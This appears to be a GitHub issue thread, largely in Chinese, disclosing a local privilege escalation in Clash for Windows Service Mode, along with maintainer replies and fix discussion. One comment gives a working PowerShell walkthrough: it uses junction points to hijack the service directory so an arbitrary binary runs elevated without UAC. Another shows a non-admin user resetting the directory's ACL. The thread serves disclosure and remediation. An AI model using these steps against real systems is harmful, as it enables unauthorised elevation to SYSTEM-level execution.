clash_for_windows_pkg
clash_for_windows_pkg copied to clipboard
[Bug]: Clash For Windows 最新版存在本地权限提升漏洞/Clash For Windows latest version has LPE vulnerability
请认真检查以下清单中的每一项
- [X] 已经搜索过,没有发现类似issue
- [x] 已经搜索过文档,没有发现相关内容
- [x] 已经尝试使用过最新版,问题依旧存在
- [x] 使用的是官方版本(未替换及修改过安装目录程序文件)
软件版本
0.19.29
操作系统
Windows x64
系统版本
Windows 11
问题描述
Windows 上的 clash_for_windows 到 0.19.29 在Service Mode激活时存在本地权限提升漏洞。由于 Service Mode 配置文件目录权限配置错误引起的。
clash_for_windows on Windows to 0.19.29 allows privilege escalation and command execution when Service Mode is activated. This is caused by a clash_for_windows Service Mode profile directory permissions misconfiguration.
复现步骤
https://www.youtube.com/watch?v=5Yqy21jQMAw
日志文件
logs
进入Home Directory/logs文件夹,找到日志文件,将文件拖动至输入框或点击界面左下角小字,将打开文件内容粘贴替换这行
01:39:52 INF [API] listening addr=127.0.0.1:49697 01:39:52 INF [Inbound] Mixed(http+socks) listening addr=127.0.0.1:7890
其他补充
解决方案:参考7Zip
oh god
非常感谢,后续版本会对此问题进行修复
oh no
对于 CFW 的需求,也可以去除 WinSW 这层。Task Scheduler 即可实现相同的功能。
v0.20.0
对 ACL 的修改无意义。
以下是我之前想的,还是发出来吧。
[^program-files]: 在采用 all users 安装时,可以省去释放。不过,CFW 的安装程序需要相应调整。
[^acl]: 通过编程修改 ACL 是件令人头秃的事情,很多坑。
这个问题看着好尴尬。全都是 NTFS 默认的 inheritance,但 CFW 放了个 service,就变得不妥了。
所有静默提权执行的映像及依赖原则上确实应该放到受保护的位置。考虑 Program Files [^program-files] ,或者释放到 Common Program Files 如何?这样可以尽量回避编辑 ACL [^acl] ,也避免改变 user profile 的期望语义。
另外,我感觉仅保护 CFW 的那个目录无法完全堵上窟窿。Clash 目前的设计恐怕有点违反 Windows 的 integrity control。
给个临时的解决方案吧,已安装Service Mode,在拥有管理员权限的CMD下执行
icacls C:\Users\%username%\.config\clash\service /T /C /inheritance:d /remove %username% Everyone
@Lemmingh 20.0现在acl也可以比无权限替换掉吗😄
因为你不可能拒掉 owner 的权限。
那我下次把它移到program files里吧😄
因为你不可能拒掉 owner 的权限。
干掉目录权限继承就行,不过这样有点不美观...
这跟继承 (ACE inheritance) 无关。
User profile 下的 object 的 owner 默认是当前用户。所以,只要这些文件在 user profile 下,怎么改都无法阻止当前用户的 effective access,除非变更 ownership。
经 https://github.com/Fndroid/clash_for_windows_pkg/issues/3405#issuecomment-1241505439 提醒,确实有了个新思路,只要在安装 service 前执行就有可能实现:
1. 准备工作
预先准备两个目录
C:\Users\AKAVM> new-item "$home\clash-placeholder", "$home\clash-hijack", "$home\clash-hijack\service" -type directory
Directory: C:\Users\AKAVM
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/9/2022 8:18 PM clash-placeholder
d----- 9/9/2022 8:18 PM clash-hijack
Directory: C:\Users\AKAVM\clash-hijack
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/9/2022 8:18 PM service
往clash-hijack\service
里面塞点东西,这里我选了个 rufus 便携版
2. 使用 junction point 占用 clash config 目录
这步需要保证 clash config 目录没有被占用,时机有很多先按下不表
C:\Users\AKAVM> get-childitem "$home\.config\clash" -exclude "service" | copy-item -destination "$home\clash-placeholder"
C:\Users\AKAVM> remove-item "$home\.config\clash" -force -recurse -erroraction silentlycontinue
C:\Users\AKAVM> new-item -type junction "$home\.config\clash" -target "$home\clash-placeholder"
Directory: C:\Users\AKAVM\.config
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----l 9/9/2022 7:09 PM clash
3. 通过 cfw 安装 service
此时 service 已经正常工作
4. service 安装完成后转移文件并重新挂载准备好的 hijack 目录
C:\Users\AKAVM> remove-item "$home\.config\clash" -force -recurse
C:\Users\AKAVM> get-childitem "$home\clash-placeholder" -exclude "service" | copy-item -destination "$home\clash-hijack"
C:\Users\AKAVM> get-childitem "$home\clash-placeholder\service" -exclude "clash-core-service.exe" | copy-item -destination "$home\clash-hijack\service"
C:\Users\AKAVM> new-item -type junction "$home\.config\clash" -target "$home\clash-hijack"
Directory: C:\Users\AKAVM\.config
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----l 9/9/2022 7:21 PM clash
到这步为止已经成功劫持该目录,并且安装 service 后 cfw 全程处于开启状态
5. 最后重启验证效果
可以看到 rufus 已经跳过 uac 授权直接启动,以上过程仅 cfw 在安装 service 时申请过特殊权限
而使用program files
目录可以避免这个问题
C:\Users\AKAVM> new-item -type junction "C:\Program Files\Common Files\clash" -target "$home\clash-placeholder"
new-item : Access to the path 'clash' is denied.
我再说点废话。
icacls.exe service /reset /T /C
无论 DACL 被改成什么样子,只要当前用户是 owner,无需提权,就能重置整个目录的权限。
PS [21:50:00] Temp:\> (Get-Acl .\service).Access
FileSystemRights : FullControl
AccessControlType : Deny
IdentityReference : Everyone
IsInherited : False
InheritanceFlags : ContainerInherit, ObjectInherit
PropagationFlags : None
PS [21:50:02] Temp:\> (Get-NTFSEffectiveAccess -Path $(Convert-Path .\service) -Account $env:USERNAME).AccessRights
WARNING: The user does not hold the Security Privliege and might not be able to read the effective permissions
ReadPermissions, ChangePermissions, Synchronize
PS [21:50:08] Temp:\> [System.Security.Principal.WindowsPrincipal]::new([System.Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator)
False
PS [21:50:13] Temp:\> icacls.exe service /reset /T /C
processed file: service
processed file: service\clash-core-service.exe
processed file: service\service.exe
processed file: service\service.wrapper.log
processed file: service\service.yml
Successfully processed 5 files; Failed processing 0 files
我也许算是提起过:
-
https://github.com/Fndroid/clash_for_windows_pkg/issues/3405#issuecomment-1241505439
-
https://github.com/Fndroid/clash_for_windows_pkg/issues/3410#issuecomment-1242878610
-
Standard user (
Users
group) 有 standard access token。 -
Admin (
Administrators
group) 有 standard access token 和 administrator access token。 -
Object owner 总是可以修改 permission。
-
Admin 总是可以变更任意 object 的 ownership。
所以,
-
Object owner 修改 DACL 不需要也不可能提权。因为 standard user 仅有 standard token。
-
Object owner 永远拥有全权实际控制。因为他总是可以 change permissions。
-
Admin 对所有 object 永远拥有全权实际控制。因为他们总是可以提权后 take ownership。